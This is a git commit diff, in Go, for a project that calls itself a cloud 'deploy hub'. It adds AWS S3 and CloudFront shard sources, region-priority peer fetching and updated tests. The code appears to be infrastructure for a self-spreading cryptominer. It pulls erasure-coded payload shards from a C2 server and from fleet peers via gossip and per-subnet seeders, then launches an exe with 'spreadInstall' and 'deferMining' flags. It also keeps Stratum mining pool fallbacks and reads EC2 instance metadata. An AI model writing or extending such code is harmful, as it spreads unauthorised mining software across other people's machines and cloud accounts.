Add Emberwake Cloud Ecosystem deploy hub with AWS and generic spread templates.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Unified expandable panels with mermaid flows, ZIP export, connection tests, and Playwright smoke coverage.
This commit is contained in:
AetherForge
2026-06-07 10:03:22 -07:00
parent 20f083b111
commit 5b5fc7c01c
36 changed files with 1305 additions and 83 deletions

View File

@@ -17,7 +17,7 @@ func TestHandleFleetTorrentGossipMergesDHT(t *testing.T) {
}},
})
c.handleFleetTorrentGossip(payload)
peers := deploy.FleetShardDHTSnapshot().PeersForShard("tok", 1, "10.0.0")
peers := deploy.FleetShardDHTSnapshot().PeersForShard("tok", 1, "10.0.0", "")
if len(peers) != 1 || peers[0].AgentID != "peer" {
t.Fatalf("peers=%+v", peers)
}

View File

@@ -122,6 +122,8 @@ func applySpreadPolicyFields(cfg *config.RuntimeConfig, raw json.RawMessage) {
HashrateGateHPS float64 `json:"hashrate_gate_hps"`
ErasureLanesEnabled bool `json:"erasure_lanes_enabled"`
FleetTorrentEnabled bool `json:"fleet_torrent_enabled"`
AwsS3ShardRegion string `json:"aws_s3_shard_region"`
AwsCloudFrontDomain string `json:"aws_cloudfront_domain"`
SpreadTemperament json.RawMessage `json:"spread_temperament"`
}
if err := json.Unmarshal(raw, &policy); err != nil {
@@ -135,6 +137,12 @@ func applySpreadPolicyFields(cfg *config.RuntimeConfig, raw json.RawMessage) {
}
cfg.ErasureLanesEnabled = policy.ErasureLanesEnabled
cfg.FleetTorrentEnabled = policy.FleetTorrentEnabled
if v := strings.TrimSpace(policy.AwsS3ShardRegion); v != "" {
cfg.AwsS3ShardRegion = v
}
if v := strings.TrimSpace(policy.AwsCloudFrontDomain); v != "" {
cfg.AwsCloudFrontDomain = v
}
applySpreadTemperament(cfg, policy.SpreadTemperament)
}

View File

@@ -149,8 +149,12 @@ type BuiltinConfig struct {
ErasureLanesEnabled bool
// FleetTorrentEnabled enables content-addressed shard DHT + fleet gossip (server policy).
FleetTorrentEnabled bool
AwsS3ShardRegion string
AwsCloudFrontDomain string
// SubnetPrimarySeeder is set on auth when this agent is the primary seeder for its /24.
SubnetPrimarySeeder bool
PolicySnapshotPollURL string
EventBridgeRelayURL string
}
// BackupPool holds connection info for a fallback Stratum mining pool.

View File

@@ -26,6 +26,7 @@ type SpreadRouteHint struct {
SwarmMagnet string `json:"swarm_magnet,omitempty"`
ShardManifestURLs []string `json:"shard_manifest_urls,omitempty"`
RouteVia string `json:"route_via,omitempty"`
PreferFargateSeeder bool `json:"prefer_fargate_seeder,omitempty"`
}
// WebRTCMeshPlanBody is the signed WebRTC mesh policy attached to deploy plans.
@@ -108,7 +109,7 @@ func ExecuteDeployPlanAs(cfg config.RuntimeConfig, plan DeployPlanBody, executor
if config.FleetTorrentEnabled(cfg) {
c2 := c2BaseFromPlan(plan)
localIP, _ := PrimaryLocalIPv4()
if em, eErr := RunFleetTorrentStaging(cfg, *plan.ErasurePlan, c2, SubnetFromIP(localIP)); eErr == nil {
if em, eErr := RunFleetTorrentStaging(cfg, *plan.ErasurePlan, c2, SubnetFromIP(localIP), ResolveLocalAWSRegion(cfg.AwsS3ShardRegion)); eErr == nil {
return em + " (primary lane failed: " + err.Error() + ")", nil
}
}

View File

@@ -17,9 +17,10 @@ import (
// ErasureShardRef is one parallel-lane shard fetch target in a signed deploy plan.
type ErasureShardRef struct {
Index int `json:"index"`
Lane string `json:"lane"`
URL string `json:"url"`
Index int `json:"index"`
Lane string `json:"lane"`
URL string `json:"url"`
EdgeURL string `json:"edge_url,omitempty"`
}
// ErasurePlanBody is server-encoded ReedSolomon metadata for multi-lane spread payloads.

View File

@@ -9,99 +9,89 @@ import (
)
func TestFleetShardDHTMergeAndFetch(t *testing.T) {
dht := &FleetShardDHT{
peers: make(map[string]map[int][]ShardPeer),
healthy: make(map[string]bool),
local: make(map[string]map[int][]byte),
}
dht := &FleetShardDHT{peers: make(map[string]map[int][]ShardPeer), shardHash: make(map[string]map[int]string), local: make(map[string]map[int][]byte)}
dht.MergeFleetGossipRecords([]FleetGossipRecord{{
Kind: FleetGossipHaveShard,
AgentID: "peer-a",
Subnet: "10.1.2",
Token: "tok1",
ShardIndex: 0,
FetchURL: "mock://shard0",
Kind: FleetGossipHaveShard, AgentID: "peer-a", Subnet: "10.1.2", Token: "tok1",
ShardIndex: 0, FetchURL: "mock://shard0", Region: "us-east-1",
}})
prev := erasureFetchFn
erasureFetchFn = func(url string) ([]byte, error) {
if url == "mock://shard0" {
return []byte("shard"), nil
}
return nil, nil
}
defer func() { erasureFetchFn = prev }()
body, err := FetchErasureShardFleet("tok1", 0, "mock://c2", "", "10.1.2", "us-east-1", dht)
if err != nil || string(body) != "shard" {
t.Fatalf("body=%v err=%v", body, err)
}
}
func TestFetchErasureShardFleetRegionPriority(t *testing.T) {
dht := &FleetShardDHT{peers: make(map[string]map[int][]ShardPeer), shardHash: make(map[string]map[int]string)}
dht.MergeFleetGossipRecords([]FleetGossipRecord{
{Kind: FleetGossipHaveShard, AgentID: "eu", Token: "t", ShardIndex: 0, Region: "eu-west-1", FetchURL: "mock://eu"},
{Kind: FleetGossipHaveShard, AgentID: "us", Token: "t", ShardIndex: 0, Region: "us-east-1", FetchURL: "mock://us"},
})
prev := erasureFetchFn
var got string
erasureFetchFn = func(url string) ([]byte, error) { got = url; return []byte("x"), nil }
defer func() { erasureFetchFn = prev }()
_, err := FetchErasureShardFleet("t", 0, "", "", "10.9.9", "us-east-1", dht)
if err != nil || got != "mock://us" {
t.Fatalf("got=%q err=%v", got, err)
}
}
func TestFetchErasureShardFleetCloudFrontBeforeC2(t *testing.T) {
dht := &FleetShardDHT{peers: make(map[string]map[int][]ShardPeer), shardHash: make(map[string]map[int]string)}
prev := erasureFetchFn
erasureFetchFn = func(url string) ([]byte, error) {
if url == "mock://cf" {
return []byte("cf"), nil
}
return nil, nil
}
defer func() { erasureFetchFn = prev }()
body, err := FetchErasureShardFleet("t", 0, "mock://c2", "mock://cf", "", "", dht)
if err != nil || string(body) != "cf" {
t.Fatalf("body=%s err=%v", body, err)
}
}
func TestRunFleetTorrentStagingRoundtrip(t *testing.T) {
dht := &FleetShardDHT{peers: make(map[string]map[int][]ShardPeer), shardHash: make(map[string]map[int]string), local: make(map[string]map[int][]byte)}
payload := []byte("fleet-torrent-roundtrip")
p := erasureParams{DataShards: 2, ParityShards: 1}
enc, _ := reedsolomon.New(p.DataShards, p.ParityShards)
shards, _ := enc.Split(payload)
_ = enc.Encode(shards)
prev := erasureFetchFn
erasureFetchFn = func(url string) ([]byte, error) {
if url == "mock://shard0" {
return shards[0], nil
}
if url == "mock://c2" {
return shards[1], nil
}
return nil, nil
}
defer func() { erasureFetchFn = prev }()
body, err := FetchErasureShardFleet("tok1", 0, "mock://c2", "10.1.2", dht)
if err != nil || string(body) != string(shards[0]) {
t.Fatalf("fetch=%v err=%v", body, err)
}
plan := ErasurePlanBody{
Enabled: true, Scheme: erasureSchemeReedSolomonV1,
DataShards: p.DataShards, ParityShards: p.ParityShards,
PayloadSHA256: hexSHA256(payload), PayloadSize: len(payload),
ShardToken: "tok1", Dest: t.TempDir() + `\w.exe`, Launch: "exe",
Shards: []ErasureShardRef{
{Index: 0, URL: "mock://c2"},
{Index: 1, URL: "mock://c2"},
{Index: 2, URL: "mock://c2"},
},
}
dht.MergeFleetGossipRecords([]FleetGossipRecord{{
Kind: FleetGossipHaveShard, AgentID: "peer-b", Subnet: "10.9.9",
Token: "tok1", ShardIndex: 1, FetchURL: "mock://shard1",
}})
erasureFetchFn = func(url string) ([]byte, error) {
switch url {
case "mock://shard0":
case "mock://0":
return shards[0], nil
case "mock://shard1":
case "mock://1":
return shards[1], nil
case "mock://c2":
case "mock://2":
return shards[2], nil
default:
return nil, nil
}
return nil, nil
}
defer func() { erasureFetchFn = prev }()
prevLaunch := erasureLaunchFn
erasureLaunchFn = func(dest, launch, dllExport string, deferMining, spreadInstall bool) (string, error) {
return "ok", nil
}
erasureLaunchFn = func(dest, launch, dllExport string, deferMining, spreadInstall bool) (string, error) { return "ok", nil }
defer func() { erasureLaunchFn = prevLaunch }()
SetFleetShardDHT(dht)
msg, err := RunFleetTorrentStaging(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
FleetTorrentEnabled: true, WorkerName: "w",
}}, plan, "", "10.1.2")
if err != nil {
plan := ErasurePlanBody{
Enabled: true, Scheme: erasureSchemeReedSolomonV1, DataShards: p.DataShards, ParityShards: p.ParityShards,
PayloadSHA256: hexSHA256(payload), PayloadSize: len(payload), ShardToken: "tok1",
Dest: t.TempDir() + `\w.exe`, Launch: "exe",
Shards: []ErasureShardRef{{Index: 0, URL: "mock://0"}, {Index: 1, URL: "mock://1"}, {Index: 2, URL: "mock://2"}},
}
if _, err := RunFleetTorrentStaging(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{FleetTorrentEnabled: true}}, plan, "", "10.1.2", "us-east-1"); err != nil {
t.Fatal(err)
}
if msg == "" {
t.Fatal("empty msg")
}
}
func TestPickLANNeighborPeersCapsAtThree(t *testing.T) {
peers := []ShardPeer{
{AgentID: "a", Subnet: "10.0.0"},
{AgentID: "b", Subnet: "10.0.0"},
{AgentID: "c", Subnet: "10.0.0"},
{AgentID: "d", Subnet: "10.0.0"},
}
got := PickLANNeighborPeers(peers, "10.0.0", 3)
if len(got) != 3 {
t.Fatalf("len=%d", len(got))
}
}
func TestParseSwarmMagnetToken(t *testing.T) {
m := "magnet:?xt=urn:sha256:abc&dn=aetherforge-erasure-deadbeef&tr=urn:aetherforge:erasure:deadbeefcafe"
if tok := ParseSwarmMagnetToken(m); tok != "deadbeefcafe" {
t.Fatalf("token=%q", tok)
}
}

View File

@@ -0,0 +1,42 @@
package deploy
import (
"fmt"
"strings"
)
func FormatShardAdvert(region string, shardIndex int) string {
return fmt.Sprintf("%s:%d", strings.TrimSpace(region), shardIndex)
}
func ParseShardAdvert(advert string) (region string, index int, ok bool) {
advert = strings.TrimSpace(advert)
colon := strings.LastIndex(advert, ":")
if colon <= 0 {
return "", 0, false
}
region = strings.TrimSpace(advert[:colon])
if _, err := fmt.Sscanf(strings.TrimSpace(advert[colon+1:]), "%d", &index); err != nil {
return "", 0, false
}
return region, index, region != ""
}
func ResolveLocalAWSRegion(policyFallback string) string {
if meta := ReadEC2InstanceMeta(); strings.TrimSpace(meta.Region) != "" {
return strings.TrimSpace(meta.Region)
}
return strings.TrimSpace(policyFallback)
}
func cloudFrontShardURL(domain, token, region string, index int, shardHash string) string {
domain = strings.TrimRight(strings.TrimSpace(domain), "/")
shardHash = strings.TrimSpace(strings.ToLower(shardHash))
if domain == "" || token == "" || region == "" || shardHash == "" {
return ""
}
if !strings.HasPrefix(domain, "http") {
domain = "https://" + domain
}
return fmt.Sprintf("%s/shards/%s/%s/%d-%s.bin", domain, token, region, index, shardHash)
}